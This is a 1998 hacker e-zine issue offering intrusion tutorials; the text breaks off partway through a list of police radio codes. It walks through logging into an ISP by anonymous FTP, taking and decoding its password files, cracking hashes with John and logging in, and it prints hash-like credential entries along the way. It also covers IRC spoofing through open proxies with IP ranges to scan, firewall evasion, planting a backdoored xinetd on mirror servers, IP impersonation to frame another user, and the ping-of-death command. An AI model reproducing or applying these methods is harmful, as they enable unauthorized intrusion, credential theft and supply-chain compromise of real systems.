|---------------------------------------------------------------------------| | -=[ United Hackers Association 1 - Magazine, Issue III ]=- | | October 01, 1998 | | E-Mail : uha1@gmx.net | | Homepage : http://come.to/UHA | |---------------------------------------------------------------------------| --->>> THIS IS ISSUE THREE (3) !!! |---------------------------------------------------------------------------| | Now its possible to get the United Hackers Association Magazine for | | FREE into your mailbox! Go to our Homepage and select | | "Subscribe UHA Newsletter" or subscribe direct: | | http://www.getreminded.com/GRA/remote.asp?list_id=248942&function=add | |---------------------------------------------------------------------------| If you want, post this text on Homepages/BBS/Ftp/Newsgroups etc. It's free, but please don't change anything without our permission!! WE ARE NOT RESPONSIBLE FOR ANYTHING YOU DO WITH THIS TEXT FILE OR ANY TROUBLE YOU GET INTO, OUR ISP OR ANYWHERE ELSE THIS TEXT FILE IS HOSTED WILL NOT BE RESPONISBLE EITHER. Index : 1. the full details of hacking into an isp (by RobinsonLaw) 2. IRC IP-Spoofing (by the file ripper) 3. fiReWalls (by Jokers Wild) 4. Denial Of Service (by Jokers Wild) 5. Police Codes (by Jokers Wild) 6. All about Scanners (by AcidMeister) 7. NT fun Tricks (by Mad55) 8. News on the PHF-Technique (by the file ripper) Editor of this Magazine, Founder/Prezident of UHA : the file ripper ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ============================================================================= | If you want to publish one of your texts in our Magazine, just | | mail us your text to : uha1@gmx.net | | All texts are welcome! | ============================================================================= !!IMPORTANT!! --> If you have any QUESTIONS, please don't mail the authors, --> just go to our Homepage and post a message in our BBS!!! --> If you have any COMMENTS on this Magazine, --> please MAIL them to uha1@gmx.net -thanx- !!IMPORTANT!! We can manipulate you however we want. We can read and change your personal datas. We can take your identity. Kill your existence. We can come near to you from everywhere in the world. You can't escape! -by the file ripper [Prezident/Founder of UHA] -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 1. the full details of hacking into an isp by RobinsonLaw robinson@tm.net.my September 11, 1998 This Text is about how to hack into an isp This is my own experience on how to get into an isp i wound't responsible for any arrestment so please use it wisely. This text is benefit for all newbies as well as elite hacker. It will give newbie on the real situation on how to hack a system . I'll be using Win98 system for all the activies below. First let me telnet into an isp add in here i 'll use a fake isp add www.xxx.my (our target) BEGIN HACKING(telnet) ========================= telnet www.xxx.my(in here i'll use sosial engineering skill) Digital UNIX (www.xxx.tw)(ttyp6) login: root Password: root login refused on this terminal. (opss wrong) Login incorrect login: root (Try again,) Password: root login refused on this terminal. (ops wrong again) Login incorrect login: xxx (try to use the host name Password: Login incorrect Ops been kick out never mind let use Ftp and try one more time BEGIN HACKING (FTP) ======================== ftp www.xxx.my ftp> Connected to www.xxx.my 220 www.xxx.my FTP server (Digital UNIX Version 5.60) ready. User (www.xxx.my:(none)): anonymous password: (use (anonymous)to login 331 Guest login ok, send ident as password. (Ya.Loging in) 230 Guest login ok, access restrictions apply. (password type 333@333.333 will do because it will use ur email add act as the info for the guest) ftp> (I'm in) cd /etc (check the directory) 250 CWD command successful. ftp> ls (Let see what it got?) 200 PORT command successful. 150 Opening ASCII mode data connection for file list (001.02.106.180,1618). passwd group passwd.pag passwd.dir 226 Transfer complete. 39 bytes received in 0.04 seconds (0.97 Kbytes/sec) (Okay all together 4 file,let get the password file first) ftp> get passwd 200 PORT command successful. 550 passwd: Too many levels of symbolic links. (ops it can't let me in so i have to get passwd.dir to try ) ftp> get passwd.dir 200 PORT command successful. 150 Opening ASCII mode data connection for passwd.dir (001.02.106.180,1620) (4096 bytes). 226 Transfer complete. 4097 bytes received in 1.81 seconds (2.26 Kbytes/sec) Passwd.dir successful receive but it seem that the file only 4097bytes, Something wrong an isp wound't use so small passwd file so let get another one file "passwd.pag :"to try ftp> get passwd.pag 200 PORT command successful. 150 Opening ASCII mode data connection for passwd.dir (001.02.106.180,1620) (3518123 bytes). 226 Transfer complete. 3518123 bytes received in 1.81 seconds (2.26 Kbytes/sec) (OKAY the file is 3.5mb it seem all file i need have finish now let's quit and rock and roll) ftp> quit 221 Goodbye. (Back to windows and use ULTRAEDIT to view the passwd.dir , opss all nonsense) (Let's try view passwd.pag) Below is the passwd.pag content: 00 00 00 00 00 00 00 00-00 00 00 00 73 6D 69 6C ............2mil 65 00 6A 55 35 74 31 37-33 6F 7A 2E 4C 36 6F 00 e.jU5t173oz.L6o. B7 14 00 00 1A 00 00 00-00 00 00 00 00 41 75 74 .............Aut 6F 47 65 6E 20 55 73 65-72 00 2F 75 73 72 2F 77 oGen User./usr/w 65 62 2F 4D 65 6D 62 65-72 2F 73 6D 69 6C 65 00 eb/Member/2mile. 2F 62 69 6E 2F 73 68 00-73 6D 69 6C 65 38 33 31 /bin/sh.2mile831 32 00 68 61 6C 66 30 39-00 62 42 58 69 77 43 36 2.2alf09.bBXiwC6 4F 39 45 73 57 6F 00 DA-1E 00 00 1A 00 00 00 00 O9EsWo.......... 00 00 00 00 68 61 6C 66-30 39 00 2F 75 73 72 2F ....2alf09./usr/ 77 65 62 2F 4D 65 6D 62-65 72 2F 68 61 6C 66 30 web/Member/2alf0 39 00 2F 62 69 6E 2F 73-68 00 68 61 6C 66 30 39 9./bin/sh.2alf09 61 74 69 6D 32 30 30 35-00 38 34 4E 45 73 39 5A atim2005.84NEs9Z 63 66 47 68 55 73 00 81-1E 00 00 1A 00 00 00 00 cfGhUs.......... 00 00 00 00 61 74 69 6D-32 30 30 35 00 2F 75 73 ....2tim2005./us 72 2F 77 65 62 2F 4D 65-6D 62 65 72 2F 61 74 69 r/web/Member/2ti 6D 32 30 30 35 00 2F 62-69 6E 2F 73 68 00 61 74 m2005./bin/sh.2t 69 6D 32 30 30 35 6C 63-66 00 4E 79 33 64 74 70 im2005lcf.Ny3dtp 4D 37 74 74 50 4E 55 00-C9 19 00 00 1A 00 00 00 M7ttPNU......... (See carefully there is an username and login add maybe it related to the passwd but how can i view the passwd into real format?) (So i take two days to finish writting a program which transfer passwd.pag into Below is a small program . // Turbo C++ 3.0 #include #include int main(void) { FILE *in, *out; char ch; char buf1[81],buf2[81],buf3[81]; int a,b; if ((in = fopen("passwd.pag", "rb")) == NULL) { fprintf(stderr, "Cannot open PASSWD.PAG file.\n"); return 1; } if ((out = fopen("passwd","wt")) == NULL) { fprintf(stderr, "Cannot open output file.\n"); return 1; } while (!feof(in)) { ch=fgetc(in); if (ch == 0x00) continue; if (ch <'a') continue; if (ch> 'z') continue; fseek(in,-1,SEEK_CUR); while (1) //output name { ch = fgetc(in); if (ch == 0) { fputc(':',out); break; } if (ch = 127) { fputc(':',out); break; } fputc(ch,out); } while (1) //output passwd { ch = fgetc(in); if (ch == 0) break; if (ch = 127) break; fputc(ch,out); } fseek(in,-1,SEEK_CUR); fputc(0x0a,out); } fclose(in); fclose(out); return 0; } Below is what it get. 2mile:jU5t173oz.L6o::::: 2alf09:bBXiwC6O9EsWo::::: 2tim2005:s9ZcfGhUs::::: 2cf:y3dtpM7ttPNU::::: 2yr01994:gJSg524Kmys:s:::: 2yr01577:hSKqGd3s7wM::::: 2mile:jU5t173oz.L6o::::: 2ohnsons:nK534OyDzEAw2::::: 2ackp:MZpfYEKUKshtA::::: 2aiso:ls2s1XhGbrx9E::::: 2pplehsu:pHIDlYY4fT22:@:::: 2icroway:cFevHgbnM.KPU::::: 2icroway:cFevHgbnM.KPU:H::::: 2inmicroway:cFevHgbnM.KPU::::: 2bc65512:/P3627NHzIfQY::::: 2yr00717:eqofRKA335nLc::::: 2ongyf:di8XcsVjYmPLE::::: 2obert:oWv.gp56i/CwY::::: 2enchou:97LcEMNno9FrA::::: 2iyr01171:U8QhYAhdhyUQU::::: Basic Hacking(cracking passwd) =============================== In here i'll use John(password cracker)which u could find it anywhre OK the cracking finish now below is the result that i get 6monkey (2crack1) Batman (2crack2) ^^^^^ ^^^^^^ Password UserName (Now let us connect to the isp to try this username and password) telnet www.xxx.my Digital UNIX (www.xxx.my) (ttyp6) login: 2crack1 (Try the first user name) Password: 6monkey (key in the password) Last login: Tue Dec 2 12:50:02 from kkk.ppp.net Digital UNIX V4.0A (Rev. 464); Thu Sep 25 05:37:09 CST 1997 (Wow Okay i'm in Now let see what it got?) www.xxx.my> ls #.mrg...login #.mrg...profile bin public_html www.xxx.my> cd /etc www.xxx.my> ls #.mrg..ddr.dbase group svc.conf #.mrg..disktab group.dir svcorder #.mrg..gen_databases group.pag svid2_login #.mrg..gettydefs group.www svid2_path #.mrg..inetd.conf hosts svid2_profile #.mrg..inittab hosts.equiv svid3_login #.mrg..lprsetup.dat ifaccess.conf svid3_path #.mrg..magic inet.local svid3_profile #.mrg..ntp.conf inetd.conf svid3_tz #.mrg..passwd inittab sysconfigtab #.mrg..rc.config join sysconfigtab.10 #.mrg..remote lprsetup.dat sysconfigtab.11 #.mrg..rpc magic sysconfigtab.12 #.mrg..services motd sysconfigtab.13 #.mrg..shells namedb sysconfigtab.15 #.mrg..sysconfigtab networks sysconfigtab.17 TIMEZONE nls sysconfigtab.17.5 acucap ntp.conf sysconfigtab.19 autopush.conf ntp.conf.sav sysconfigtab.2 binlog.conf ntp.drift sysconfigtab.20 checklist.desc passwd sysconfigtab.22 csh.login passwd.dir sysconfigtab.23 ddr.db passwd.orig sysconfigtab.27 ddr.dbase passwd.pag sysconfigtab.27.5 dec_devsw_db passwd.www sysconfigtab.28 dec_devsw_db.bak phones sysconfigtab.3 dec_hw_db ppp sysconfigtab.4 dec_hw_db.bak profile sysconfigtab.6 dec_scsi_db protocols sysconfigtab.7 dec_scsi_db.bak rc.config sysconfigtab.9 dhcptab remote sysconfigtab.9.5 disktab resolv.conf sysconfigtab.lite doprc rmt syslog.conf dt routes termcap dvrdevtab rpc ttysrch exports sec ultrix_login fdmns securettys ultrix_path fstab services ultrix_profile ftpusers shells uucp gated.conf sia uugettydefs gated.conf.default slhosts vol gen_databases snmpd.conf yp gettydefs strsetup.conf zoneinfo (Wow too many rubbish just try to find pass* file) www.xxx.my> ls -al pass* -rw-r--r-- 1 root system 342301 Dec 2 19:20 passwd -rw-r--r-- 1 root system 4096 Dec 2 19:15 passwd.dir -rw-r--r-- 1 root system 736 Sep 27 00:29 passwd.orig -rw-r--r-- 1 root system 3517440 Dec 2 19:20 passwd.pag -rw-r--r-- 1 root system 332826 Sep 27 00:17 passwd.www (okay found the passwd now let see the content) www.xxx.my> cat passwd (view the password file) www.xxx.my root:fyseF6cJG9S.:0:1:system PRIVILEGED account:/:/bin/csh 2obody:*Nologin:65534:65534:anonymous NFS user:/: 2obodyV:*Nologin:60001:60001:anonymous SystemV.4 NFS user:/: 2aemon:*:1:1:system background account:/: 2in:*:3:4:system librarian account:/bin: 2ucp:Nologin:4:2:UNIX-to-UNIX Copy:/usr/spool/uucppublic:/usr/lib/uucp/uucico 2ucpa:Nologin:4:2:uucp adminstrative account:/usr/lib/uucp: 2uth:*:6:11:Authentication Subsystem:/tcb/bin: 2ron:*:7:14:Cron Subsystem:/usr/adm/cron: 2p:*:8:12:Line Printer Subsystem:/users/lp: 2cb:*:9:18:Trusted Computing Base:/tcb: 2dm:*:10:19:Administration Subsystem:/usr/adm: 2is:Nologin:11:21:Remote Installation Services Account:/usr/adm/ris:/bin/sh 2hl:uSGAXIanefQoY:100:0:William:/usr/users/jhl:/bin/ksh 2nmerge:*:0:1:Repair User:/:/bin/sh 2eb:CLQywsSofSPbA:101:26:Web Manager:/usr/web:/bin/sh 2wwmgr:*:103:26:WWW server manager:/usr/users/wwwmgr:/bin/sh 2asswd:tkAD9TL1q9kEE:0:0:/:/dev/null: 2tp:*:1001:31:Anonymous ftp:/usr/users/ftp:/bin/sh 2mykung:SrVpb75.Z.flQ:1007:26:Amy:/usr/web/Member/amykung:/bin/sh 2oohg:sKzx9TWMRApM6:1010:26:Boo:/usr/web/Member/boohg:/bin/sh 2alvin:/mE4b9S2EWPnk:1013:26:Calvin:/usr/web/Member/calvin:/bin/sh 2hanlu:IwEnhtgdygMZ2:1015:26:Chan Lu:/usr/web/Member/chanlu:/bin/sh (OK hacking sucess we get the real passwd and we get into the sys already) but i woun't continue to gain root so let me quit) www.xxx.my> exit NOTICE=This Method of hacking only could be use on those lamerz isp sys this isp is poor on its security that's y? it easily been hacked) passwd -Many lamerz like to use their username as their password name ,u can try it out if u find some lamerz username- That's all for now Please forgive me if u don't understand part of the english above course i'm a chinese FROM, ROBINSONLAW -=United Hackers Association=- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 2. IRC IP-Spoofing by the file ripper tfr@gmx.net September 14, 1998 After, I got banned from a IRC-Channel, I decided to spoof my IP and to enter it over an other server (=proxy server). My only problem was, that I found no Spoofing-program for IRC, so I had to try it myself (the best tools for a real Hacker are his hands ...*smile*). First I scanned for class B and class C domains (=Wingate Server). I used for this wGateScan v2.2 (avaiable at the UHA Homepage, in the Misc-Section). After I found a Server (I will later on give a list of IP's to scan) I tried to use them as a Proxy Server for IRC. Here are the commands I used for it : /server : 23 (connect to the server, after the ":" there has to be a blank, otherwise it will automaticly try to connect to port 6667!) Let's say the Proxy Server, which Server I would like to login. /raw irc.dal.net 6667 Now, the IDentifaction part. Just put in some shit. (Note : There have to be 4 words after your Name, otherwise it won't work!) /raw user = Evil test1 test2 test3 test4 Now, the most important part *smile* ... my nickname. /raw nick EvilsHell Note : This way is often used by IRC-IP-Spoofers. So why do you download some shitty program, that might also have a trojan in it? You can do it yourself! Hint : Try to scan the following IP's ! 38.12.41.xxx 209.30.57.xxx 24.129.28.xxx 166.55.240.xxx 192.115.83.xxx 204.245.58.xxx 209.149.88.xxx 209.36.105.xxx 195.186.19.xxx 201.30.157.xxx 194.95.202.xxx 207.180.22.xxx 210.154.31.xxx 208.254.253.xxx 152.202.162.xxx Have phun! c ya -the file ripper [UHA] -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 3. fiReWalls by Jokers Wild jokers_wild@mindspring.com September 18, 1998 FIREWALLS With each new company that connects to the "Information Superhighway" new frontiers are created for crackers to explore. Site administrators (Siteads) have implemented various security measures to protect their internal networks. One of these is xinetd, covered later. A more general solution is to construct a guarded gateway, called a [Firewall], that sits between a site's internal network and the wild and woolly Internet where we roam. In fact only one third of all Internet connected machines are already behind firewalls. Most information services have to deal with the same problem we have: getting OUT through a local firewall or GETTING INTO a service through their Firewall. There lays also the crack_solution. What is a Firewall? The main purpose of a Firewall is to prevent unauthorized access between networks. Generally this means protecting a site's inner network from the Internet. If a site has a firewall, decisions have been made as to what is allowed and disallowed across the firewall. These decisions are always different and always incomplete, given the multiplicity of Internet, there are always loopholes where a cracker can capitalize on. A firewall basically works by examining the IP packets that travel between the server and the client. This provides a way to control the information flow for each service by IP address, by port and in each direction. A firewall embodies a "stance". The stance of a firewall describes the trade-off between security and ease-of-use. A stance of the form "that which is not expressly permitted is prohibited" requires that each new service be enabled individually and is seldom used, coz very slow and annoying. Conversely, the stance "that which is not expressly prohibited is permitted" has traded a level of security for convenience. It will be useful to guess the stance of the firewall you are cracking when making probe decisions. A firewall has some general responsibilities: * First and foremost if a particular action is not allowed by the policy of the site, the firewall must make sure that all attempts to perform the action will fail. * The firewall should log suspicious events * The firewall should alert internal administration of all cracking attempts * Some firewall provide usage statistics as well. Types of Firewall In order to avoid head-scratching, it's a good idea to know the TOPOLOGY of "your" firewall -and its limitations- before attempting to get through it. Discussed below are two popular firewall topologies. Although other types exist, the two below represent the basic forms; most other firewalls employ the same concepts and thus have -luckily- the same limitations. 1) THE DUAL-HOMED GATEWAY A dual-homed Gateway is a firewall composed of a single system with at least two network interfaces. This system is normally configured such that packets are not directly routed from one network (the Internet) to the other (the internal net you want to crack). Machines on the Internet can talk to the gateway, as can machines on the internal network, but direct traffic between nets is blocked. In discussing firewalls, it's generally accepted that you should think of the inner network as a medieval castle. The "bastions" of a castle are the critical points where defence is concentrated. In a dual-homed gateway topology, the dual-homed host itself is called the [BASTION HOST]. The main disadvantage of a dual-homed gateway, from the viewpoints of the users of the network and us crackers alike, is the fact that it blocks direct IP traffic in both directions. Any programs running on the inner network that require a routed path to external machines will not function in this environment. The services on the internal network don't have a routed path to the clients outside. To resolve these difficulties, dual-homed gateways run programs called [PROXIES] to forward application packets between nets. A proxy controls the conversation between client and server processes in a firewalled environment. Rather than communicating directly, the client and the server both talk to the proxy, which is usually running on the bastion host itself. Normally the proxy is transparent to the users. A proxy on the bastion host does not just allow free rein for certain services. Most proxy software can be configured to allow or deny forwarding based on source or destination addresses or ports. Proxies may also require authentication of the requester using encryption- or password-based systems. The use of proxy software on the bastion host means that the firewall administrator has to provide replacements for the standard networking clients, a nightmare in heterogeneous environments (sites with many different operating systems platforms, PC, Sun, IBM, DEC, HP...) and a great burden for administrator and users alike. 2) THE SCREENED HOST GATEWAY A screened host gateway is a firewall consisting of at least one router and a bastion host with a single network interface. The router is typically configured to block (screen) all traffic to the internal net such that the bastion host is the only machine that can be reached from the outside. Unlike the dual- homed gateway, a screened host gateway does not necessarily force all traffic through the bastion host; through configuration of the screening router, it's possible to open "holes" in the firewall to the other machines on the internal net you want to get into. The bastion host in a screened host firewall is protected from the outside net by the screening router. The router is generally configured to only allow traffic FROM SPECIFIC PORTS on the bastion host. Further, it may allow that traffic only FROM SPECIFIC EXTERNAL HOSTS. For example the router may allow Usenet news traffic to reach the bastion host ONLY if the traffic originated from the site's news provider. This filtering can be easily cracked: it is relying on the IP address of a remote machine, which can be forged. Most sites configure their router such that any connection (or a set of allowed connections) initiated from the inside net is allowed to pass. This is done by examining the SYN and ACK bits of TCP packets. The "start of connection" packet will have both bits set. If this packets source address is internal... or seems to be internal :-) the packet is allowed to pass. This allows users on the internal net to communicate with the internet without a proxy service. As mentioned, this design also allows "holes" to be opened in the firewall for machines on the internal net. In this case you can crack not only the bastion host, but also the inner machine offering the service. Mostly this or these machine/s will be far less secure than the bastion host. New services, for instance recent WEB services, contain a lot of back doors and bugs, that you'll find in the appropriate usenet discussion groups, and that you could use at freedom to crack inner machines with firewall holes. Sendmail is a good example of how you could crack in this way, read the whole related history... very instructive. The rule of thumb is "big is good": the bigger the software package, the more chance that we can find some security related bugs... and all packages are huge nowadays, 'coz the lazy bunch of programmers uses overbloated, buggy and fatty languages like Visual Basic or Delphy! Finally, remember that the logs are 'mostly) not on the bastion host! Most administrators collect them on an internal machine not accessible from the Internet. An automated process scan the logs regularly and reports suspicious information. 3) OTHER FIREWALL TOPOLOGIES The dual-homed gateway and the screened host are probably the most popular, but by no mean the only firewall topologies. Other configurations include the simple screening router (no bastion host), the screened subnet (two screening routers and a bastion host) as well as many commercial vendor solutions. Which software should we study? Three popular unix software solutions allow clients inside a firewall to communicate with server outside: CERN Web server in proxy mode, SOCKS and the TIS Firewall toolkit. 1) The CERN Web server handles not only HTTP but also the other protocols that Web clients use and makes the remote connections, passing the information back to the client transparently. X-based Mosaic can be configured for proxy mode simply by setting a few environment variables. 2) The SOCKS package (available free for anonymous ftp from ftp.nec.com in the file /pub/security/socks.cstc/socks.cstc.4.2.tar.gz includes a proxy server that runs on the bastion host of a firewall. The package includes replacements for standard IP socket calls such as connect(), getsockname(), bind(), accept(), listen() and select(). In the package there is a library which can be used to SOCKSify your crack probes. 3) The Firewall Toolkit The toolkit contains many useful tools for cracking firewall and proxy server. netacl can be used in inetd.conf to conceal incoming requests against an access table before spawning ftpd, httpd or other inetd-capable daemons. Mail will be stored in a chroot()ed area of the bastion for processing (mostly by sendmail). The Firewall toolkit is available for free, in anonymous ftp from ftp.tis.com in the file /pub/firewalls/toolkit/fwtk.tar.Z The popular PC firewall solution is the "PC Socks Pack", for MS- Windows, available from ftp.nec.com It includes a winsock.dll file. The cracking attempts should concentrate on ftpd, normally located on the bastion host. It's a huge application, necessary to allow anonymous ftp on and from the inner net, and full of bugs and back doors. Normally, on the bastion host, ftpd is located in a chroot()ed area and runs as nonprivileged user. If the protection is run from an internal machine (as opposing the bastion host), you could take advantage of the special inner-net privileges in hostp.equiv or .rhosts. If the internal machine "trusts" the server machine, you'll be in pretty easily. Another good method, that really works, is to locate your PC physically somewhere along the route between network and archie server and "spoof" the firewall into believing that you are the archie server. You'll need the help of a fellow hacker for this, though. Remember that if you gain supervisor privileges on a machine you can send packets from port 20, and that in a screened host environment, unless FTP is being used in proxy mode, the access filters allow often connections from any external host if the source port is 20 and the destination port is greater than 1023! remember that NCSA Mosaic uses several protocols, each on a different port, and that -if on the firewall no proxy Web server is operating- each protocol must be dealt with individually, what lazy administrators seldom do. Be careful for TRAPS: networking clients like telnet and ftp are often viciously replaced with programs that APPEAR to execute like their namesake, but actually email an administrator. A fellow cracker was almost intercepted, once, by a command that simulated network delays and spat out random error messages in order to keep me interested long enough to catch me. Read the (fictions) horror story from Bill Cheswick: "An evening with Berferd in which a cracked is lured, endured and studied", available from ftp.research.att.com in /dist/internet_security/berferd.ps As usual, all kind of traps can be located and uncovered by correct zen-cracking: you must *FEEL* that some code (or that some software behaviour) is not "genuine". Hope you believe me and learn it before attempting this kind of cracks. INTERNET CRACKING: XINETD [Xinetd] a freely available enhanced replacement for the internet service daemon inetd, allows just those particular users to have FTP or Telnet access, without opening up access to the world. Xinetd can only protect the system from intrusion by controlling INITIAL access to most system services and by logging activities so that you can detect break-in attempts. However, once a connection has been allowed to a service, xinetd is out of the picture. It cannot protect against a server program that has security problems internally. For example, the finger server had a bug several years ago that allowed a particularly clever person to overwrite part of its memory. This was used to gain access to many systems. Even placing finger under the control of xinetd wouldn't have helped. Think of the secured firewall system as a fortress wall: each service that is enabled for incoming connections can be viewed as a door or window in the walls. Not all these doors have secure and reliable locks. The more openings are available, the more opportunities are open for us. What xinetd does Xinetd listens to all enabled service ports and permits only those incoming connection request that meet authorization criteria. - Accept connections from only certain IP addresses - Accept connections only from authorized users - Reject connections outside of aithorized hours - Log selected service when connections are accepted or rejected, capturing following informations: * Remote Host Address * User ID of remote user (in some cases) * Entry and Exit time * Terminal type Support login, shell, exec and finger SERVICES TO CRACK & UNWITTING INSIDE COMPLICES In this order the easy services: FTP TELNET LOGIN (rlogin) SHELL (rcmd) EXEC In this order the more difficult ones: MOUNT TFT FINGER NFS(Network File System) DNS(Domain Name Service) Remember that sendmail (SMTP), by default, accepts a message from any incoming connection. The "sender" of such a message can appear to have originated anywhere, therefore your claim of identity will be accepted! Thus you can forge a message's originator. Most of the recipients inside the protected (firewalled) net will take your claim at face value and send you (to the "return address" you provide) all the sensitive information you need to crack the system. Finding unwitting inside complices is most of the time pretty easy. By far the best method, for entering xinetd, is to get the real version from panos@cs.colorado.edu, modify the system files in order to have some backdoors, and then distribute them to the mirror servers on the WEB. Each time a new administrator will download "your" version of xinetd, you'll have an easy access to the "protected" system. On the Nets, it's important to conceal your identity (they will find you out pretty quickly if you do not). The best method is to obtain the IP address of a legitimate workstation during normal hours. Then, late at night, when the workstation is known to be powered-off or disconnected from a dialup PPP link, a different node on the network can be configured to use the counterfeit IP address. To everyone on the network, it will appear that the "legitimate" user is active. If you follow this strategy, you may want to crack somehow more negligently... the search for the cracker will go on -later- in the false confidence that a sloppy novice (the legitimate user) is at work, this will muddle the waters a little more. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 4. Denial Of Service by Jokers Wild jokers_wild@mindspring.com September 19, 1998 I personally love these attacks because sometimes, you can crash a program that was keeping the persons net secure.....means helps you hack. Now Unix is much more easy to exploit than win, because unix is more complicated, therefor opening up new holes to hack!..... But, the Unix Op is MUCH more experienced that a Microsoft Op. SOME BASIC TARGETS FOR AN ATTACK ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ A.1. SWAP SPACE ---------------- Most systems have several hundred Mbytes of swap space to service client requests. The swap space is typical used for forked child processes which have a short life time. The swap space will therefore almost never in a normal cause be used heavily. A denial of service could be based on a method that tries to fill up the swap space. A.2. BANDWIDTH --------------- If the bandwidth is to high the network will be useless. Most denial of service attack influence the bandwidth in some way. A.3. RAM --------- A D.O.S attack that allocates a large amount of RAM can make a great deal of problems. NFS and mail servers are actually extremely sensitive because they do not need much RAM and therefore often don't have much RAM. An attack at a NFS server is trivial. The normal NFS client will do a great deal of caching, but a NFS client can be anything including the program you wrote yourself... A.4. CACHES ------------- A D.O.S attack involving caches can be based on a method to block the cache or to avoid the cache. These caches are found on Solaris 2.X: Directory name lookup cache: Associates the name of a file with a vnode. Inode cache: Cache information read from disk in case it is needed again. Rnode cache: Holds information about the NFS filesystem. Buffer cache: Cache inode indirect blocks and cylinders to realed disk I/O. The Problem: Large packet pings (PING -l 65527 -s 1 hostname) wonderfully known as 'Ping of Death' can cause a blue screen of death on 3.51 systems: STOP: 0X0000001E KMODE_EXCEPTION_NOT_HANDLED - TCPIP.SYS -OR- STOP: 0x0000000A IRQL_NOT_LESS_OR_EQUAL - TCPIP.SYS NT 4.0 is vunerable sending large packets, but does not crash on receiving large packets. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 5. Police Codes by Jokers Wild jokers_wild@mindspring.com September 26, 1998 Ever wonder what those codes you here are when you are scanning the police band with your home-scanner? Well for those that are interested here they are. Code A - No rain expected Code B - Rain expected Code 1 - Answer on radio Code 2 - Proceed immediately w/o siren Code 3 - Proceed w/ siren and red lights Code 4 - No futher assistance neccesary Code 4A - No futher assistance is neccesary, but suspect is not in custody Code 5 - Uniformed officers stay away Code 6 - Out of car to investigate Code 6A - Out of car to investigate, assistance may be needed Code 6C - Suspect is wanted and may be dangerous Code 7 - Out for lunch Code 8 - Fire alarm Code 9 - Jail break Code 10 - Request clear frequency Code 12 - False alarm Code 13 - Major disaster activation Code 14 - Resume normal operations Code 20 - Notify news media to respond Code 30 - Burglar alarm ringing Code 33 - Emergency! All units stand by Code 99 - Emergency! Code 100 - In position to intercept 187 - Homicide 207 - Kidnapping 207A - Kidnapping attempt 211 - Armed robbery 217 - Assault w/ intent to murder 220 - Attempted rape 240 - Assault 242 - Battery 245 - Assault w/ a deadly weapon 261 - Rape 261A - Attempted rape 288 - Lewd conduct 311 - Indecent exposure 314 - Indecent exposure 390 - Drunk 390D - Drunk unconcious 415 - Disturbance 415C - Disturbance, children invovled 415E - Disturbance, loud music or party 415F - Disturbance, family 415G - Disturbance, gang 417 - Person w/ a gun 459 - Burglary 459A - Burglar alarm ringing 470 - Forgery 480 - Hit-and-run (Felony) 481 - Hit-and-run (Misdemeanor) 484 - Petty theft 484PS - Purse snatch 487 - Grand theft 488 - Petty theft 502 - Drunk Driving 503 - Auto theft 504 - Tampering w/ vehicle 505 - Reckless driving 507 - Public nuisance 586 - Illegal parking 586E - Vehicle blocking driveway 594 - Malicious mischief 595 - Runaway car 647 - Lewd conduct 901 - Ambulance call/accident, injuries unk. 901A - Ambulance call - attempted suicide 901H - Ambulance call - dead body 901K - Ambulance has been dispatched 901L - Ambulance call - narcotics overdose 901N - Ambulance requested 901S - Ambulance call - shooting 901T - Ambulance call - trafic accident 901Y - Request ambulance if needed 902 - Accident 902H - Enroute to hospital 902M - Medical aid requested 902T - Trafic accident - non-injury 903 - Aircraft crash 903L - Low flying aircraft 904A - Fire alarm 904B - Brush fire/Boat fire 904C - Car fire 904F - Forest fire 904G - Grass fire 904I - Illegal burning 904S - Structure fire 905B - Animal bite 905N - Noisy animal 905S - Stray animal 905V - Vicious animal 906K - Rescue dispatched 906N - Rescue requested 907 - Minor disturbance 907A - Loud radio or TV 907B - Ball game in street 907K - Paramedics dispatched 907N - Paramedics requested 907Y - Are paramedics needed? 908 - Begging 909 - Trafic congestion 909B - Road blockade 909F - Flares needed 909T - Trafic hazard 910 - Can you handle? 911 - Advise party 911B - Contact informant/Contact officer 912 - Are we clear? 913 - You are clear 914 - Request detectives 914A - Attempted suicide 914C - Request coroner 914D - Request doctor 914F - Request fire dept. 914H - Heart attack 914N - Concerned party notified 914S - Suicide 915 - Dumping rubbish 916 - Holding suspect 917A - Abandoned vehicle 917P - Hold vehicle for fingerprints 918A - Escaped mental patient 918V - Violent mental patient 919 - Keep the peace 920 - Missing adult 920A - Found adult/Missing adult 920C - Missing child 920F - Found child 920J - Missing juvenile 921 - Prowler 921P - Peeping Tom 922 - Illegal peddling 924 - Station detail 925 - Suspicious person 926 - Request tow truck 926A - Tow truck dispatched 927 - Investigate unknown trouble 927A - Person pulled from telephone 927D - Investigate posible dead body 928 - Found property 929 - Investigate person down 930 - See man regarding a complaint 931 - See woman regarding a complaint 932 - Woman or child abuse/Open door 933 - Open window 949 - Gasoline spill 950 - Burning permit 951 - Request fire investigator 952 - Report condititions 953 - Check smoke report 954 - Arrived at scene 955 - Fire under control 956 - Availble for assignment 957 - Fire under control 960X - Car stop - dangerous suspects 961 - Take a report/Car stop 962 - Subject is armed and dangerous 966 - Sniper 967 - Outlaw motorcyclists 975 - Can your suspect hear your radio? 981 - Frequency is clear/Need radiological 982 - Are we being received/Bomb threat 983 - Explosion 995 - Labor trouble 996 - Explosion 996A - Unexploded bomb 998 - Officer involved in shooting 999 - Officer needs help - urgent! 10-1 - [BOTH] You are being received poorly, [MISS] Change location 10-2 - [BOTH] You are being received ok 10-3 - [BOTH] Stop transmitting/Change channels 10-4 - [BOTH] Ok, Acknowledgement 10-5 - [BOTH] Relay 10-6 - [BOTH] Station is busy, standby unless urgent 10-7 - [BOTH] Out of service - radio off 10-8 - [BOTH] In service 10-9 - [BOTH] Repeat last message 10-10 - [CA] Out of service - radio on 10-10 - [MISS] Fight in 